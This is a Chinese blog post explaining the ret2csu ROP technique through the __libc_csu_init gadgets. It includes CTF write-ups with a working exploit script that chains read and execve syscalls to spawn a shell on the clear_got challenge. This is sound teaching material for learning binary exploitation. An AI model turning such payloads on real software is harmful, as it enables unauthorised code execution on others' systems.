ret2csu简单总结

news2024/9/20 6:12:49

一个比较进阶的rop利用方式。

Why ret to csu?

当程序给的gadget不够,或者输入长度受限时,可以考虑利用csu中的众多gadget以及一个call指令来劫持控制流。

__libc_csu_init

汇编源码:

.text:0000000000400790 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
.text:0000000000400790                 public __libc_csu_init
.text:0000000000400790 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400790 ; __unwind {
.text:0000000000400790                 push    r15
.text:0000000000400792                 push    r14
.text:0000000000400794                 mov     r15d, edi
.text:0000000000400797                 push    r13
.text:0000000000400799                 push    r12
.text:000000000040079B                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004007A2                 push    rbp
.text:00000000004007A3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004007AA                 push    rbx
.text:00000000004007AB                 mov     r14, rsi
.text:00000000004007AE                 mov     r13, rdx
.text:00000000004007B1                 sub     rbp, r12
.text:00000000004007B4                 sub     rsp, 8
.text:00000000004007B8                 sar     rbp, 3
.text:00000000004007BC                 call    _init_proc
.text:00000000004007C1                 test    rbp, rbp
.text:00000000004007C4                 jz      short loc_4007E6
.text:00000000004007C6                 xor     ebx, ebx
.text:00000000004007C8                 nop     dword ptr [rax+rax+00000000h]
.text:00000000004007D0
.text:00000000004007D0 loc_4007D0:                             ; CODE XREF: __libc_csu_init+54↓j
.text:00000000004007D0                 mov     rdx, r13
.text:00000000004007D3                 mov     rsi, r14
.text:00000000004007D6                 mov     edi, r15d
.text:00000000004007D9                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:00000000004007DD                 add     rbx, 1
.text:00000000004007E1                 cmp     rbx, rbp
.text:00000000004007E4                 jnz     short loc_4007D0
.text:00000000004007E6
.text:00000000004007E6 loc_4007E6:                             ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004007E6                 add     rsp, 8
.text:00000000004007EA                 pop     rbx
.text:00000000004007EB                 pop     rbp
.text:00000000004007EC                 pop     r12
.text:00000000004007EE                 pop     r13
.text:00000000004007F0                 pop     r14
.text:00000000004007F2                 pop     r15
.text:00000000004007F4                 retn
.text:00000000004007F4 ; } // starts at 400790
.text:00000000004007F4 __libc_csu_init endp

我们关注这两段代码,
image

下面的记作gadget1,上面的记作gadget2,因为我们会先执行下面的gadget。
先看gadget1:
第一个的 add rsp, 8我们会直接略过(可以填充8个垃圾字符,也可以直接从0x40059A开始)
后面的6个pop就能控制对应的寄存器。
结合gadget2来看,

  1. rbx:image
    很显然直接置为0
  2. rbp:image
    为了满足比较条件,防止jnz跳转,我们将rbp置为1即可
  3. r12:image
    当我们把rbx置为0后,就是call [r12]的调用,所以我们将r12设置为指向待执行函数地址值的地址即可(比如函数的got表)。这里要注意,是一个间接跳转。
    那么有时候我们不想call,仅仅只是为了传参怎么办呢?
    我们可以调用_term_proc这个"空函数"。image
    可以看到call了后对我们没有任何影响。
    关于找指向_term__proc地址值的地址的方法
    image
  4. r13:image
    可以发现,经过gadget1+gadget2的作用,控制r13就是控制rdx
  5. r14:同上,控制r14就是控制rsi
  6. r15:image
    这里要注意下,我们只能控制rdi的低32位,也就是edi,所以不能完全的控制rdi的值。不过,一般64位程序中,pop_edi_ret的gadget都是很好找的。
  7. 上述6个pop完了过后,填入gadget2的地址即可跳转到gadget2继续执行。

当然,如果并不需要控制寄存器,例如:我们执行完gadget1跳到gadget2然后"滑下来"又到了gadget1,此时我们就直接填充7*8 = 56个垃圾字符就行,到达ret时再劫持控制流。

几道题目

[VNCTF2022公开赛]clear_got

题目

很棒的一道题。
程序很短,image

这里把got表清空了,而且程序本身的gadget也不大够,可以用ret2csu来打。
由于ret2csu要执行函数需要一个[r12],如果有got表的话直接填入got表,但是这里memset了,就只能考虑程序给的系统调用了。
ret2syscall那里也提到过,可以通过read成功读取的字节数来控制rax。

所以我们第一遍ret2csu先布置好read(0,bss,59)的参数,在bss段写入"/bin/sh\x00",p64(syscall),然后凑够59字节。(64为execve系统调用号为59)
然后再打一遍ret2csu,布置好execve("/bin/sh\x00",0,0)的参数,用[r12]来调用syscall。

有些细节也要注意:

  1. 第一次打完csu的gadget2跳到gadget1时,直接布置execve的参数,不然后面的payload长度会超过限制。
  2. 我们第一次csu不需要call调用函数,所以要找一个"空函数",一般选择_term_proc,但是要注意到是call [r12],所以要找一个指向_term_proc的地址。gdbimage
  3. 第一遍布置完read的参数后我们紧接着布置了第二次,布置完过后才调用syscall(直接控制流调用),经尝试发现,这个syscall的调用不能放在两次gadget的中间。尽可能保证前面参数布置的流畅性。
  4. 为什么我们在传完"/bin/sh\x00"后还要传一个p64(system)?还是一样的,call [r12],所以得通过写在bss段上来造一个间接跳转。

具体看代码吧:

syscall = 0x000000000040077E

csu_g1 = 0x4007EA
csu_g2 = 0x4007D0
bss = 0x601060
p_termproc = 0x600e50

pl = b'a'*0x60 + b'b'*0x8
# read(0,bss,59)  rdi:0 rsi:bss rdx:59
pl += p64(csu_g1) + p64(0) + p64(1) + p64(p_termproc) + p64(59) + p64(bss) + p64(0)
pl += p64(csu_g2)
pl += b'a'*8 # ignore    :    add     rsp, 8
# execve("/bin/sh",0,0)
pl += p64(0) + p64(1) + p64(bss+8)
pl += p64(0) + p64(0)
pl += p64(bss) + p64(syscall) + p64(csu_g2)
sa("///\n",pl)
pl = b'/bin/sh\x00' + p64(syscall)
pl = pl.ljust(59,b"\x00")
sl(pl)

p.interactive()

image

ciscn_2019_es_7

题目

在学SROP的时候也是用的这道题,其实用ret2csu也比较好做,只是这里跟上面那道题又有点区别。
vuln就两个系统调用
image

而且程序里面给了mov eax,0F;和mov eax 3B;的gadget,所以SROP和execve都能直接打。
这题没办法写在bss段,只能写在题目给的栈里面。
根据多打印的信息泄露栈地址,从而得到输入的"/bin/sh"的地址,然后用csu简单布置下参数就行。
这道题的话,csu仅仅做的就是一个把rdx和rsi置0的作用,如果想利用call [r12]直接调用syscall好像不行?
尝试了下没打通。
image

注释掉的就是想用上一题的打法来打,不知道为什么打不通。
当然,这题有pop_rdi的gadget,输入也足够,所以控制好execve后两个参数后将csu_gadget1填充56个垃圾字符,再劫持控制流打正常的ret2syscall就行。
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1917989.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

el-upload 上传多个图片或多个文件,编辑,回显,删除操作

后端查询详情接口数据: [{"id": 91,"name": "Default","sort": 0,"fold": false,"deletable": false,"uniqueId": "machine_cabinet","infoList": [{"id": …

Qt打包软件

打包 基础打包 要配置好qt的环境变量 在编译好的release目录下面执行 windeployqt myapp.exe复杂打包 下载软件:http://www.jrsoftware.org/isdl.php#stable (1)打开 Inno Setup Complier,点击 【file】→【new】,新建一个脚…

鸿蒙Navigation的页面跳转官方代码

星河版本 文章部分代码来源于官方 文章部分代码来源于官方只是自己改了容易理解 与API4不同的Navigation 新版本使用的思路是 1、创建页面栈 pageInfos: NavPathStack new NavPathStack();2、resources/base/profile创建 router_map.json 文件 {"routerMap":…

视频监控汇聚平台LntonCVS视频集中存储平台解决负载均衡的方案

随着技术的进步和企业对监控需求的增加,视频监控系统规模不断扩大,接入大量设备已成常态化挑战。为应对这一挑战,视频汇聚系统LntonCVS视频融合平台凭借其卓越的高并发处理能力,为企业视频监控管理系统提供可靠的负载均衡服务保障…

公司网站建站模板源码系统 响应式网站模版 随心自定义 带完整的代码包以及搭建部署教程

系统概述 公司网站建站模板源码系统是一套基于最新技术开发的网站建设解决方案。该系统集成了众多先进的网站开发工具和功能模块,旨在帮助企业快速构建出美观、实用的公司网站。通过采用模块化设计,系统实现了高度可定制性,企业可以根据自身…

一文读懂:RHEL如何通过control-center建立安全的IPsec VPN连接

大家好,这里是G-LAB IT实验室。虚拟专用网络(VPN)是一种通过互联网连接到本地网络的方法。Libreswan 提供的 IPsec 是创建 VPN 的首选方法。libreswan 是 VPN 的用户空间 IPsec 实现。VPN 通过在中间网络(如互联网)设置一个隧道来启用 LAN 和…

【Ubuntu-18.04.6 LTS (Bionic Beaver)】串口无法root登录解决方案

root用户无法再窗口登录 用户界面登录提示 soory that didnot work 解决方案 GDM 配置 /etc/gdm3/custom.conf 中增加或删除注释 [security] AllowRoottrue重启服务 service gdm restart确认 PAM 配置 GDM 使用 PAM 进行认证,可能 PAM 配置中限制了 root 登录…

22_单阶段目标检测-SSD算法理论

1.1 简介 SSD(Single Shot MultiBox Detector)是一种在深度学习领域广泛使用的对象检测算法,由Wei Liu等人在2015年提出。它是“单阶段”(one-stage)检测器的一个典型代表,与之相对的是像R-CNN系列这样的“…

【精简教程】VSCode 连接 Remix

初始化 Node.js 项目 yarn init v1.22.19安装 Remix yarn add remix-project/remixd -g⚠️ 此时如果直接敲 remix,显示找不到这个命令。 使用 Node.js 来直接执行 remixd.js 文件 node node_modules\remix-project\remixd\src\bin\remixd.js😄 连接上了…

软件供应链安全:如何防范潜在的攻击?

来源:https://thehackernews.com/2024/06/practical-guidance-for-securing-your.html 软件生产组织面临越来越大的监管和法律压力,要求其保护供应链并确保软件的完整性,这不足为奇。在过去几年里,软件供应链已经成为攻击者越来越…

【漏洞复现】docassemble——interview——任意文件读取

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。 文章目录 漏洞描述漏洞复现测试工具 漏洞描述 docassemble 是一款强大的开源工具,它让自动化生成和…

泛微e-cology getFileViewUrl接口存在SSRF漏洞复现 [附POC]

文章目录 泛微e-cology getFileViewUrl接口存在SSRF漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现0x06 修复建议泛微e-cology getFileViewUrl接口存在SSRF漏洞复现 [附POC] 0x01 前言 免责声明:请勿利用文章…

运维圈都在“卷”的可观测性,还有这些要点运维人必须知道

在信息技术的快速发展下,IT运维领域在2018年迎来了一个全新的概念——“可观测性”(Observability),并迅速成为云原生技术领域的热点话题,被Gartner列为“2023年十大战略技术趋势”之一。Gartner预测,到202…

ipv4和ipv6的兼容性问题

ipv4和ipv6的兼容 现今大多知名网站都是同时支持ipv6和ipv4,这种可以分为两种情况讨论: 一个IPv4的网络和一个IPv6的网络通信;一个IPv6的网络和一一个IPv6的网络通信,但是中间需要经过一一个IPv4的网络。 先以第一种为例: 若一…

好玩的卡牌游戏推荐:堆叠大陆 Stacklands(Win/Mac)中文版

《堆叠大陆》是一款非常有趣和富有创造力的游戏,玩家可以在游戏中通过堆叠不同种类的方块来创建自己的世界。 在游戏中,玩家可以探索广阔的地图,发现各种不同的方块和资源。这些方块可以被堆叠在一起,形成各种建筑、结构和其他创…

单链表--续(C语言详细版)

2.6 在指定位置之前插入数据 // 在指定位置之前插入数据 void SLTInsert(SLTNode** pphead, SLTNode* pos, SLTDataType x); 分为两种情况:1. 插入的数据在链表中间;2. 插入的数据在链表的前面。 // 在指定位置之前插入数据 void SLTInsert(SLTNode** …

Python实战演练——羊了个羊抓包通关教程及无限套娃通关次数!

1. 需求 最近热门的羊了个羊,听说通关率不到0.1% 第一关超级简单,第二关可就难倒了太多的小伙伴,往往是你以为快没了,结果还有好多层,有朋友分析过,地狱有十八层,而它有十九层。 博主也曾熬夜…

可视化传输机房设计方案

建筑可视化机房可视化(3D)机房可视化(2D)多机柜可视化单机柜可视化(3D)单机柜可视化(2D)设备与插槽可视化端口连线及链路可视化

栈和队列题目详解

前言: 在前面我们学习了栈和队列,栈的特性是后进先出,队列的特性是先进先出,当我们了解了这些之后,我们就可以用到栈和队列的特性来简单的做一些题目了。 1. 有效的括号 有效的括号:. - 力扣&#xff08…

ESP32驱动摄像头:1.驱动OV2640模块(待验证)

一、装ArduCam库和ESPAsyncWebServer库 二、参考代码 #include <Wire.h> #include <ArduCAM.h> #include <SPI.h> #include <WiFi.h> #include <ESPAsyncWebServer.h>#define CAM_CS 32 // modify according to your own wiring #define OV2640…